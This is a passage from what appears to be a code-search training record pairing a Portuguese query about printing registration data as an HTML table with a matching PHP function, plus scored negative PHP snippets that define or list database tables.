Column\\Integer('num_of_posts', false, 0, array('unsigned' => false)));\r\n $boards_msg_table->addColumn(new Column\\Char('author', 15));\r\n $boards_msg_table->addColumn(new Column\\Char('subject', 150));\r\n $boards_msg_table->addColumn(new Column\\Text('messages'));\r\n $boards_msg_table->addColumn(new Column\\Text('replies'));\r\n $boards_msg_table->addColumn(new Column\\Blob('attachments'));\r\n\r\n // add the constraints\r\n $boards_msg_table->addConstraint(new Constraint\\ForeignKey('fk_board_id', 'board_id', 'boards', 'id', 'cascade', 'cascade'));\r\n $boards_msg_table->addConstraint(new Constraint\\PrimaryKey('message_id'));\r\n\r\n\r\n // create the trending topics table\r\n $trending_topics = new Ddl\\CreateTable('trending_topics');\r\n $trending_topics->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $trending_topics->addColumn(new Column\\Char('topic', 150));\r\n $trending_topics->addColumn(new Column\\Char('author', 15));\r\n $trending_topics->addColumn(new Column\\Integer('number_of_views', false, null, array('unsigned' => true)));\r\n $trending_topics->addColumn(new Column\\Text('topic_message'));\r\n\r\n // add the constraints\r\n $trending_topics->addConstraint(new Constraint\\UniqueKey('topic'));\r\n $trending_topics->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the private messages table\r\n $private_messages = new Ddl\\CreateTable('private_messages');\r\n $private_messages->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $private_messages->addColumn(new Column\\Integer('user_id', false, null, array('unsigned' => true)));\r\n $private_messages->addColumn(new Column\\Text('to'));\r\n $private_messages->addColumn(new Column\\Char('from', 15));\r\n $private_messages->addColumn(new Column\\Char('subject', 150));\r\n $private_messages->addColumn(new Column\\Text('message'));\r\n $private_messages->addColumn(new Column\\Datetime('date_received'));\r\n $private_messages->addColumn(new Column\\Integer('active', true, null));\r\n $private_messages->addColumn(new Column\\Integer('archived', true, null));\r\n\r\n // add the constraints\r\n $private_messages->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the themes table\r\n $themes_table = new Ddl\\CreateTable('themes');\r\n $themes_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $themes_table->addColumn(new Column\\Char('theme_name', 150));\r\n $themes_table->addColumn(new Column\\Char('theme_author'. 15));\r\n $themes_table->addColumn(new Column\\Char('theme_css_file', 200));\r\n $themes_table->addColumn(new Column\\Char('theme_images', 200));\r\n\r\n // add the constraints\r\n $themes_table->addConstraint(new Constraint\\UniqueKey('theme_name'));\r\n $themes_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the events table\r\n $events_table = new Ddl\\CreateTable('events');\r\n $events_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $events_table->addColumn(new Column\\Integer('member_id', false, null, array('unsigned' => true)));\r\n $events_table->addColumn(new Column\\Char('event_name', 150));\r\n $events_table->addColumn(new Column\\Text('event_description'));\r\n $events_table->addColumn(new Column\\Datetime('start_date'));\r\n $events_table->addColumn(new Column\\Datetime('end_date'));\r\n\r\n // add the constraints\r\n $events_table->addConstraint(new Constraint\\PrimaryKey(array('id', 'member_id')));\r\n\r\n $pending_users_table = new Ddl\\CreateTable('pending_users');\r\n $pending_users_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $pending_users_table->addColumn(new Column\\Char('username', 15));\r\n $pending_users_table->addColumn(new Column\\Char('password', 255));\r\n $pending_users_table->addColumn(new Column\\Char('email', 75));\r\n $pending_users_table->addColumn(new Column\\Char('pending_code', 255));\r\n\r\n // add the constraints\r\n $pending_users_table->addConstraint(new Constraint\\UniqueKey('username'));\r\n $pending_users_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the sessions table\r\n $sessions_table = new Ddl\\CreateTable('sessions');\r\n $sessions_table->addColumn(new Column\\Char('username', 30));\r\n $sessions_table->addColumn(new Column\\Char('password', 255));\r\n $sessions_table->addColumn(new Column\\Integer('active', false, null, array('unsigned' => true)));\r\n $sessions_table->addColumn(new Column\\Char('session_id', 150));\r\n\r\n // add the constraints\r\n $sessions_table->addConstraint(new Constraint\\UniqueKey('username'));\r\n\r\n \r\n // create the status table\r\n $status_table = new Ddl\\CreateTable('status');\r\n $status_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => false, 'unsigned' => true)));\r\n $status_table->addColumn(new Column\\Char('status', 150));\r\n $status_table->addColumn(new Column\\Integer('time_status', false, null, array('auto_increment' => false)));\r\n \r\n // add the constraints\r\n $status_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n \r\n // create the friends table\r\n $friends_table = new Ddl\\CreateTable('friends');\r\n $friends_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $friends_table->addColumn(new Column\\Integer('friend_id', false, null, array('auto_increment' => false, 'unsigned' => true)));\r\n $friends_table->addColumn(new Column\\Integer('user_id', false, null, array('auto_increment' => false, 'unsigned' => true)));\r\n \r\n // add the constraints\r\n $friends_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n \r\n \r\n // create the friend requests table\r\n $friend_requests_table = new Ddl\\CreateTable('friend_requests');\r\n $friend_requests_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $friend_requests_table->addColumn(new Column\\Integer('request_id', false, null, array('auto_increment' => false, 'unsigned' => true)));\r\n $friend_requests_table->addColumn(new Column\\Integer('friend_id', false, null, array('auto_increment' => false, 'unsigned' => true)));\r\n\r\n // add the constraints\r\n $friend_requests_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n \r\n \r\n // create the friends online table\r\n $friends_online_table = new Ddl\\CreateTable('friends_online');\r\n $friends_online_table->addColumn(new Column\\Integer('user_id', false, null, array('unsigned' => true)));\r\n \r\n // add the constraints\r\n $friends_online_table->addConstraint(new Constraint\\PrimaryKey('user_id'));\r\n \r\n \r\n // create the chat table\r\n $chat_table = new Ddl\\CreateTable('chat');\r\n $chat_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $chat_table->addColumn(new Column\\Char('who', 15));\r\n $chat_table->addColumn(new Column\\Char('from', 15));\r\n $chat_table->addColumn(new Column\\Datetime('chat_date', false, null));\r\n $chat_table->addColumn(new Column\\Datetime('chat_end_date', false, null));\r\n $chat_table->addColumn(new Column\\Integer('active', true, null, array('unsigned' => false)));\r\n \r\n // add the constraints\r\n $chat_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n \r\n \r\n // make the tables\r\n $this->query(array(\r\n $admin_table,\r\n $members_table,\r\n $profile_table,\r\n $profile_settings_table,\r\n $groups_table,\r\n $group_settings_table,\r\n $group_mems_table,\r\n $group_admins_table,\r\n $group_ranks_table,\r\n $group_members_online_table,\r\n $group_join_requests,\r\n $boards_table,\r\n $boards_msg_table,\r\n $trending_topics,\r\n $private_messages,\r\n $themes_table,\r\n $events_table,\r\n $pending_users_table,\r\n $sessions_table,\r\n $status_table,\r\n $friends_table,\r\n $friend_requests_table,\r\n $friends_online_table,\r\n $chat_table\r\n ));\r\n\r\n return true;\r\n }", "function __construct($id=\"\") {\n //echo \"ciao\";\n \n $this->setNometabella(\"localita\");\n $this->tabella= array(\"nome\"=>\"\",\"provincia\"=>\"\",\"cap\"=>\"\",\"codice\"=>\"\",\"solodestinazione\"=>\"\");\n parent::__construct($id);\n}", "public function crea_tabella_singola($valore_estrazione_univoca='',$campo_per_estrazione_univoca='',$testo_modifica='',$testo_cancella='',$url_modifica='',$url_cancella=''){\n\t\tif($campo_per_estrazione_univoca=='')$campo_per_estrazione_univoca='id';\n\n\t\t\n\t\t\t\n\t\t$dati_per_estrazione='&amp;'.$campo_per_estrazione_univoca.'='.($valore_estrazione_univoca!=''?$valore_estrazione_univoca:'SETTARE_VALORE_UNIVOCO');\n\n\t\tif($testo_modifica=='')$testo_modifica==NULL;\n\t\tif($testo_modifica=='default')$testo_modifica=(file_exists('img/modifica.gif')?'<img src=\"img/modifica.gif\" alt=\"\" border=\"none\" />':'file \"modifica.gif\" non presente');\n\t\t\t\n\t\tif($testo_cancella=='')$testo_cancella==NULL;\n\t\tif($testo_cancella=='default')$testo_cancella=(file_exists('img/cancella.gif')?'<img src=\"img/cancella.gif\" alt=\"\" border=\"none\" />':'file \"cancella.gif\" non presente');\n\t\tif($url_modifica=='')$url_modifica='modifica.php';\n\t\tif($url_cancella=='')$url_cancella='cancella.php';\n\t\t\t\n\t\tif($testo_modifica!=NULL)\n\t\techo '<a href=\"'.$url_modifica.'?nome_tabella='.$this->nome_tabella.$dati_per_estrazione.'\">'.$testo_modifica.'</a>&nbsp;&nbsp';\n\t\tif($testo_cancella!=NULL)\n\t\techo '<a href=\"'.$url_cancella.'?nome_tabella='.$this->nome_tabella.$dati_per_estrazione.'\">'.$testo_cancella.'</a>';\n\t\t\t\n\t\t\n\t\t//Creo la tabella\n\t\t$tabella='<table width=\"100%\" border=\"1\" cellspacing=\"3\" cellpadding=\"3\">';\t\t\n\t\t\n\t\tforeach($this->riga as $chiave=>$valore){\n\t\t\t$tabella.='<tr><th scope=\"row\">'.$chiave.'</th>\n\t\t\t';\n\t\t\t$tabella.='<td>'.$valore.'</td></tr>\n\t\t\t';\n\t\t}\n\n\t\t$tabella.='</table>';\n\t\treturn $tabella;\n\t}", "public function create_tables() {\n\t\tglobal $wpdb;\n\t\t$charset_collate = $wpdb->get_charset_collate();\n\n\t\t$schema = \"CREATE TABLE IF NOT EXISTS `{$wpdb->prefix}cn_addressbooks` ( \n\t\t\t`id` INT NOT NULL AUTO_INCREMENT , `name` VARCHAR(100) NOT NULL , `address` VARCHAR(255) NULL , \n\t\t\t`phone` VARCHAR(30) NULL , `created_by` BIGINT(20) NOT NULL , `created_at` DATETIME NOT NULL , \n\t\t\tPRIMARY KEY (`id`)) \n\t\t\t$charset_collate\";\n\n\t\tif ( ! function_exists( 'dbDelta') ) {\n\t\t\trequire_once ABSPATH . 'wp-admin/includes/upgrade.php';\n\t\t}\n\n\t\tdbDelta( $schema );\n\t}", "public function tabla()\n\t\t{\t//condicion para la proteccion de las vistas\n\t\t\t$id_empleado = $_SESSION['id_empleado'];\n\t\t\tif ($id_empleado == null)\n\t\t\t{\n\t\t\t\tredirect(base_url() . 'index.php/header/controller_inicio/login');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->load->view(\"header/Header_caja\");\n\t\t\t\t$this->load->view(\"ventas/Tabla_dinamica_producto\");\n\t\t\t}\n\t\t}", "public function initTables()\n {\n return $this->createCompanyConfigTable();\n }", "protected function _initialize()\r\n {\r\n $this->metadata()->setTablename('funcionario');\r\n $this->metadata()->setPackage('system.application.models.dao');\r\n \r\n # nome_do_membro, nome_da_coluna, tipo, comprimento, opcoes\r\n \r\n $this->metadata()->addField('id', 'id', 'int', 11, array('primary' => true, 'notnull' => true, 'autoincrement' => true));\r\n $this->metadata()->addField('nome', 'nome', 'varchar', 255, array());\r\n $this->metadata()->addField('login', 'login', 'varchar', 45, array());\r\n $this->metadata()->addField('senha', 'senha', 'varchar', 255, array());\r\n $this->metadata()->addField('email', 'email', 'varchar', 255, array());\r\n $this->metadata()->addField('lotacao', 'lotacao', 'varchar', 45, array());\r\n\r\n \r\n }", "protected function createCacheTables() {}", "function listarTabla(){\n\t\t$this->procedimiento='wf.ft_tabla_sel';\n\t\t$this->transaccion='WF_tabla_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_tabla','int4');\n\t\t$this->captura('id_tipo_proceso','int4');\n\t\t$this->captura('vista_id_tabla_maestro','int4');\n\t\t$this->captura('bd_scripts_extras','text');\n\t\t$this->captura('vista_campo_maestro','varchar');\n\t\t$this->captura('vista_scripts_extras','text');\n\t\t$this->captura('bd_descripcion','text');\n\t\t$this->captura('vista_tipo','varchar');\n\t\t$this->captura('menu_icono','varchar');\n\t\t$this->captura('menu_nombre','varchar');\n\t\t$this->captura('vista_campo_ordenacion','varchar');\n\t\t$this->captura('vista_posicion','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('menu_codigo','varchar');\n\t\t$this->captura('bd_nombre_tabla','varchar');\n\t\t$this->captura('bd_codigo_tabla','varchar');\n\t\t$this->captura('vista_dir_ordenacion','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('nombre_tabla_maestro','varchar');\n\t\t$this->captura('vista_estados_new','text');\n\t\t$this->captura('vista_estados_delete','text');\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}" ]
[ "0.7983289", "0.7176846", "0.69564205", "0.69405997", "0.68363994", "0.6830564", "0.679096", "0.6786801", "0.6782443", "0.673063", "0.667875", "0.667559", "0.6673984", "0.6630019", "0.66134346", "0.6608749", "0.660753", "0.66041094", "0.6541714", "0.65347785", "0.6518815", "0.6500507", "0.6482882", "0.6474903", "0.6458446", "0.6446012", "0.6429323", "0.64036775", "0.6403619", "0.6400193", "0.63990456", "0.63954526", "0.6393854", "0.63844967", "0.6379156", "0.63751", "0.6370393", "0.63679147", "0.6357382", "0.6348554", "0.6337439", "0.63355654", "0.6317268", "0.63148344", "0.62942624", "0.6261237", "0.6257242", "0.6256861", "0.6240188", "0.62352467", "0.6229972", "0.62167007", "0.6210019", "0.6206978", "0.62051374", "0.6195285", "0.61936384", "0.61893946", "0.6169644", "0.6168126", "0.61644655", "0.6159697", "0.6157879", "0.6154038", "0.61496395", "0.6147519", "0.61461526", "0.61432123", "0.6134231", "0.6117804", "0.61148304", "0.6113895", "0.6104111", "0.61026794", "0.6101011", "0.6094909", "0.60929227", "0.60907096", "0.6090507", "0.60766166", "0.60751426", "0.607149", "0.60629493", "0.60604346", "0.6044396", "0.604115", "0.6035115", "0.60341465", "0.60311085", "0.6020255", "0.60171026", "0.60137236", "0.6013661", "0.60097575", "0.6007939", "0.60037893", "0.59953636", "0.5992892", "0.5984379", "0.59753853" ]
0.7003655
2
recebe os cadastros e os indices para imprimir a tabela
function retornaEscolhidos($vetorComcadastros, $vetorComIndices){ $limite = count($vetorComIndices);//limite conta quantos indices tem cabeçalhoTabela();//imprime o cabeçalho da tabela for($x=0; $x<$limite; $x++){//executa um for que percorre todos os indices do Vetor com os indices $y = $vetorComIndices[$x];//$y é igual indice do primeiro cadastro echo "<tr>";//cria linha na tabela echo "<th scope='row'>$y</th>";//escreve qual é o indice foreach ($vetorComcadastros[$y] as $string){//percorre todos os dados do cadastro com indice $y echo "<td>$string</td>";//cria uma celula e dentro escreve o dado } echo "<td>",botaoAlterar($y),"</td>";//cria uma celula e põe dentro o botão alterar com o indice que ele deve alterar caso clicado echo "<td>",botaoExcluir($y),"</td>"; echo "</tr>";//finaliza a linha } echo "</tbody>";//encerra o corpo da tabela echo "</table>";//encerra a tabela }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function tabela($vetorComcadastros, $vetorComIndices){//Função que cria a tabela/lista recebe o vetor cos os cadsastros e outro com os indices\n retornaEscolhidos($vetorComcadastros, $vetorComIndices);//escreve a tabela\n }", "private function rebuildIndex()\n {\n foreach ($this->rows as $id => $row) {\n $label = $row->getColumn('label');\n if ($label !== false) {\n $this->rowsIndexByLabel[$label] = $id;\n }\n }\n $this->indexNotUpToDate = false;\n }", "public function takeIndex()\n\t\t{\n\t\t\t$this->csv->takeIndexCSV();\n\t\t\t$this->txt->takeIndexTXT();\n\t\t}", "function get_table_indexes($db, $table, $cnx='', $reload=false, $mode='mysql'){\n\tif($mode!=='mysql') exit('only mysql index mode developed');\n\tglobal $get_table_indexes, $dbTypeArray;\n\tif(!$cnx)$cnx=C_MASTER;\n\tif($get_table_indexes[$db][$table] && !$reload){\n\t\treturn $get_table_indexes[$db][$table];\n\t}else{\n\t\t$fl=__FILE__;\n\t\t$ln=__LINE__+1;\n\t\tob_start();\n\t\t$result=q(\"SHOW INDEXES FROM `$db`.`$table`\", $cnx, ERR_ECHO, O_DO_NOT_REMEDIATE);\n\t\t$err=ob_get_contents();\n\t\tob_end_clean();\n\t\tif($err)return false;\n\t\t\n\t\t$typeFlip = array_flip($dbTypeArray);\n\t\t$inCompound=false;\n\t\twhile($v=mysqli_fetch_array($result,MYSQLI_ASSOC)){\n\t\t\t$w++;\n\t\t\t@extract($v);\n\t\t\tif($buffer==$Key_name){\n\t\t\t\t//duplicate part of a key\n\t\t\t\tif(!$inCompound){\n\t\t\t\t\t$multiIdx[$Key_name][]=$singleIdx[count($singleIdx)-1];\n\t\t\t\t\tunset($singleIdx[count($singleIdx)-1]);\n\t\t\t\t\t//next two lines overcome \"bug\" in php: just cause I unset the highest element, this will not reset the next index assigned when I say $singleIdx[]=.. later on.\n\t\t\t\t\t$clr=$singleIdx;\n\t\t\t\t\t$singleIdx=$clr;\n\t\t\t\t}\n\t\t\t\t$multiIdx[$Key_name][]=$v;\n\t\t\t\t$inCompound=true;\n\t\t\t}else{\n\t\t\t\t$singleIdx[]=$v;\n\t\t\t\t$buffer=$Key_name;\n\t\t\t\t$inCompound=false;\n\t\t\t}\n\t\t}\n\t\t//set $singleIdx as assoc for reference\n\t\tif(count($singleIdx)){\n\t\t\tforeach($singleIdx as $v) $a[strtolower($v['Column_name'])]=$v;\n\t\t\t$singleIdx=$a;\n\t\t}\n\t\t//store compound keys as XML\n\t\tif($multiIdx){\n\t\t\t$compoundKey='';\n\t\t\tforeach($multiIdx as $n=>$v){\n\t\t\t\t$ci.='<compoundKey Key_name=\"'.$n.'\" Column_count=\"'.count($v).'\"';\n\t\t\t\t$i=0;\n\t\t\t\tforeach($v as $w){\n\t\t\t\t\t$i++;\n\t\t\t\t\tif($i==1)$ci.=' Non_unique=\"'.$w['Non_unique'].'\">'.\"\\n\";\n\t\t\t\t\t$ci.='<keyColumn Seq_in_index=\"'.$w['Seq_in_index'].'\" Column_name=\"'.$w['Column_name'].'\" Sub_part=\"'.$w['Sub_part'].'\" Comment=\"'.htmlentities($w['Comment']).'\">'.\"\\n\";\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$ci.='</compoundKey>';\n\t\t\t}\n\t\t}\n\t\t$get_table_indexes[$db][$table]=array('singleIdx'=>$singleIdx, 'multiIdx'=>$multiIdx, 'compoundXML'=>$ci);\n\t\treturn $get_table_indexes[$db][$table];\n\t}\n}", "function emptyIndexTable(){\n\t\t$this->ecmDBhandle->truncateTable($this->dfs_db-> table_name);\n\t}", "function OptimizeTables() {}", "abstract protected function getIndexTableFields();", "public static function resetIndex(){\n\t\t$sql = \"TRUNCATE TABLE `documents`\";\n\t\t$result = mysqli_query(self::$conn, $sql) or die(mysqli_error(self::$conn));\n\t\t$sql = \"TRUNCATE TABLE `terms`\";\n\t\t$result = mysqli_query(self::$conn, $sql) or die(mysqli_error(self::$conn));\n\t\t$sql = \"TRUNCATE TABLE `term_documents`\";\n\t\t$result = mysqli_query(self::$conn, $sql) or die(mysqli_error(self::$conn));\n\t\t// delete all files from documents directory\n\t\tarray_map('unlink', glob('documents/' . '*.txt'));\n\t}", "public function rebuildIndex()\n {\n $this->elastic->deleteIndex(self::INDEX);\n $this->elastic->addIndexCompanion(self::INDEX);\n }", "public static function createAllTableIndexes()\n {\n $result = true;\n \n // tdo_lists\n// if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_list_deleted_index on tdo_lists(deleted)\") == false)\n// $result = false;\n \n // tdo_list_memberships\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_list_membership_userid_index on tdo_list_memberships(userid(10))\") == false)\n $result = false;\n\n // tdo_user_sessions\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_user_sessions_userid_index on tdo_user_sessions(userid(10))\") == false)\n $result = false;\n\n \n // tdo_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_listid_index on tdo_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_parentid_index on tdo_tasks(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_duedate_index on tdo_tasks(duedate)\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_timestamp_index on tdo_tasks(timestamp)\") == false)\n $result = false;\n\n \n //tdo_completed_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_listid_index on tdo_completed_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_parentid_index on tdo_completed_tasks(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_completiondate_index on tdo_completed_tasks(completiondate)\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_timestamp_index on tdo_completed_tasks(timestamp)\") == false)\n $result = false;\n\n \n //tdo_deleted_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_deleted_tasks_listid_index on tdo_deleted_tasks(listid(10))\") == false)\n $result = false;\n\t\t\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_deleted_tasks_parentid_index on tdo_deleted_tasks(parentid(10))\") == false)\n $result = false;\n\n \n //tdo_archived_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_tasks_listid_index on tdo_archived_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_tasks_timestamp_index on tdo_archived_tasks(timestamp)\") == false)\n $result = false;\n\n \n // tdo_taskitos\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_taskitos_parentid_index on tdo_taskitos(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_taskitos_timestamp_index on tdo_taskitos(timestamp)\") == false)\n $result = false;\n\n // tdo_archived_taskitos\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_taskitos_parentid_index on tdo_archived_taskitos(parentid(10))\") == false)\n $result = false;\n \n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_taskitos_timestamp_index on tdo_archived_taskitos(timestamp)\") == false)\n $result = false;\n \n // tdo_tag_assignments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tag_assignments_taskid_index on tdo_tag_assignments(taskid(10))\") == false)\n $result = false;\n \n // tdo_contexts\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_contexts_context_timestamp_index on tdo_contexts(context_timestamp)\") == false)\n $result = false;\n\n // tdo_context_assignments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_context_assignments_userid_index on tdo_context_assignments(userid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_context_assignments_taskid_index on tdo_context_assignments(taskid(10))\") == false)\n $result = false;\n\n // tdo_comments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_comments_itemid_index on tdo_comments(itemid(10))\") == false)\n $result = false;\n \n // tdo_task_notifications\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_task_notifications_taskid_index on tdo_task_notifications(taskid(10))\") == false)\n $result = false;\n\n // tdo_change_log\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_change_log_listid_index on tdo_change_log(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_change_log_itemid_index on tdo_change_log(itemid(10))\") == false)\n $result = false;\n \n return $result;\n }", "public function reindex();", "private function processIndexes()\n {\n foreach ($this->indexes as $index) {\n foreach ($index->columns as $indexColumn) {\n $indexColumnName = $indexColumn['name'];\n if (!array_key_exists(strtolower($indexColumnName), $this->columns)) {\n throw new RuntimeException(\"Key column '$indexColumnName' doesn't exist in table\");\n }\n }\n }\n\n // figure out all sequences of columns covered by non-FK indexes\n foreach ($this->indexes as $index) {\n if ($index->type !== 'FOREIGN KEY') {\n foreach ($index->getCovers() as $cover) {\n $lookup = implode('\\0', $cover);\n $this->covers[$lookup] = true;\n }\n }\n }\n\n $indexes = [];\n $foreigns = [];\n $ibfkCounter = 0;\n\n foreach ($this->indexes as $index) {\n if ($index->type === 'FOREIGN KEY') {\n if ($this->addIndexForForeignKey) {\n // TODO - doesn't correctly deal with indexes like foo(10)\n $lookup = implode('\\0', $index->getColumns());\n if (!array_key_exists($lookup, $this->covers)) {\n $newIndex = new IndexDefinition();\n $newIndex->type = 'KEY';\n $newIndex->columns = $index->columns;\n if (!is_null($index->constraint)) {\n $newIndex->name = $index->constraint;\n } elseif (!is_null($index->name)) {\n $newIndex->name = $index->name;\n }\n $indexes[] = $newIndex;\n }\n }\n\n $foreign = new IndexDefinition();\n if (is_null($index->constraint)) {\n $foreign->constraint = $this->name . '_ibfk_' . ++$ibfkCounter;\n } else {\n $foreign->constraint = $index->constraint;\n }\n $foreign->type = 'FOREIGN KEY';\n $foreign->columns = $index->columns;\n $foreign->reference = $index->reference;\n $foreigns[] = $foreign;\n } else {\n $indexes[] = $index;\n }\n }\n\n // now synthesise names for any unnamed indexes,\n // and collect indexes by type\n $usedName = [];\n $keyTypes = [\n 'PRIMARY KEY',\n 'UNIQUE KEY',\n 'KEY',\n 'FULLTEXT KEY',\n 'FOREIGN KEY',\n ];\n $indexesByType = array_fill_keys($keyTypes, []);\n foreach ($indexes as $index) {\n $name = $index->name;\n if ($index->type === 'PRIMARY KEY') {\n $name = 'PRIMARY';\n } elseif (is_null($name)) {\n $base = $index->columns[0]['name'];\n $name = $base;\n $i = 1;\n while (isset($usedName[$name])) {\n $name = $base . '_' . ++$i;\n }\n $index->name = $name;\n } elseif (array_key_exists(strtolower($name), $usedName)) {\n throw new RuntimeException(\"Duplicate key name '$name'\");\n }\n $index->name = $name;\n $usedName[strtolower($name)] = true;\n\n $indexesByType[$index->type][] = $index;\n }\n\n if (count($indexesByType['PRIMARY KEY']) > 1) {\n throw new RuntimeException(\"Multiple PRIMARY KEYs defined\");\n }\n\n foreach ($indexesByType['PRIMARY KEY'] as $pk) {\n foreach ($pk->columns as $indexColumn) {\n $column = $this->columns[strtolower($indexColumn['name'])];\n if ($column->nullable) {\n $column->nullable = false;\n if (is_null($column->default)) {\n $column->default = $column->getUninitialisedValue();\n }\n }\n }\n }\n\n $this->indexes = [];\n foreach (array_reduce($indexesByType, 'array_merge', []) as $index) {\n $this->indexes[$index->name] = $index;\n }\n foreach ($foreigns as $foreign) {\n $this->foreigns[$foreign->constraint] = $foreign;\n }\n }", "function add_clean_index($table, $index)\n {\n }", "public function _INDEX()\n\t{\n\t\t\n\t}", "abstract public function wipeIndex();", "public function reindexAll()\n {\n }", "private function prepareTables() {}", "public function buildIndex();", "public function indexTable()\n {\n $this->paginate = array('all', 'order' => array('modified' => 'desc'));\n $contentVariableTables = $this->paginate('ContentVariableTable');\n $this->set(compact('contentVariableTables', $contentVariableTables));\n }", "function index_all(){\n\t\t$this->_clear_tmp(0);\n\t\t$this->del_results();\n\t\treturn $this->index(0,true);\n\t}", "public function resetTable();", "function drop_duplicate_indexes() {\n $this->drop_index('sl_store_2');\n $this->drop_index('sl_latitude_2');\n $this->drop_index('sl_longitude_2');\n }", "function initIndexing(PDO $db) {\n\n // delete everything before reset indexing\n $dir = opendir($this->path);\n while($file = readdir($dir)) {\n if($file != \".\" && $file!=\"..\" && $file != \"indexing\" && $file!=\"dbfastcache\" && file_exists($this->path.DIRECTORY_SEPARATOR.$file)) {\n @unlink($this->path.DIRECTORY_SEPARATOR.$file);\n clearstatcache(TRUE, $this->path.DIRECTORY_SEPARATOR.$file);\n }\n }\n $db->exec('drop table if exists \"balancing\"');\n $db->exec('CREATE TABLE \"balancing\" (\"keyword\" VARCHAR PRIMARY KEY NOT NULL UNIQUE, \"db\" INTEGER)');\n $db->exec('CREATE INDEX \"db\" ON \"balancing\" (\"db\")');\n $db->exec('CREATE UNIQUE INDEX \"lookup\" ON \"balacing\" (\"keyword\")');\n }", "function masterAllIndexes() {\n $this->db_master->executeSQL(\"SELECT \" . $this->idx_master . \" from \" . $this->db_master->database . \".\" . $this->table_master);\n }", "abstract protected function loadTableIndexes(string $tableName): array;", "private function __createIndex() {\n $lock_file = $this->getTmpPath('lock.dat');\n\n if (file_exists($lock_file)) return false;\n file_put_contents($lock_file, '');\n\n\n\t\tif (function_exists('ignore_user_abort'))\n\t\t\tignore_user_abort();\n\t\tif (function_exists('set_time_limit'))\n\t\t\tset_time_limit(180);\n\n\n\t\t$this->Model->truncateTable();\n\t\tforeach ($this->tables as $table) {\n\t\t\t$className = $this->Register['ModManager']->getModelNameFromModule($table);\n\t\t\t$Model = new $className;\n\t\t\t\n\t\t\tfor ($i = 1; $i < 10000; $i++) {\n\t\t\t\t$records = $Model->getCollection(array(), array('limit' => 100, 'page' => $i));\n\t\t\t\tif (empty($records)) break;\n\n\n\t\t\t\tif (count($records) && is_array($records)) {\n\t\t\t\t\tforeach ($records as $rec) {\n\n\t\t\t\t\t\tswitch ($table) 